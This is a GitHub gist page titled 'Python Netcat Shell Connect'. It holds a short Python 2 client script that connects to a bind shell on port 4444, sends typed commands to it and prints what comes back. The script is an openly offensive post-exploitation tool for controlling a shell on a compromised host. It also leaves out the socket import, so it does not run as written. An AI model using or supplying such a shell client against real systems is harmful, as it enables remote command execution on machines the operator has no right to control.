-
-
Save zilveer/e6869f3247c363209d7f8310c7a7fa64 to your computer and use it in GitHub Desktop.
Python Netcat Shell Connect
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
host = "127.0.0.1" | |
port = 4444 | |
# try and connect to a bind shell | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((host, port)) | |
try : | |
print "[+] Connected to bind shell!\n" | |
while 1: | |
cmd = raw_input("(py-shell) $ "); | |
s.send(cmd + "\n"); | |
result = s.recv(1024).strip(); | |
if not len(result) : | |
print "[+] Empty response. Dead shell / exited?" | |
s.close(); | |
break; | |
print(result); | |
except KeyboardInterrupt: | |
print "\n[+] ^C Received, closing connection" | |
s.close(); | |
except EOFError: | |
print "\n[+] ^D Received, closing connection" | |
s.close(); | |
except socket.error: | |
print "[+] Unable to connect to bind shell." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment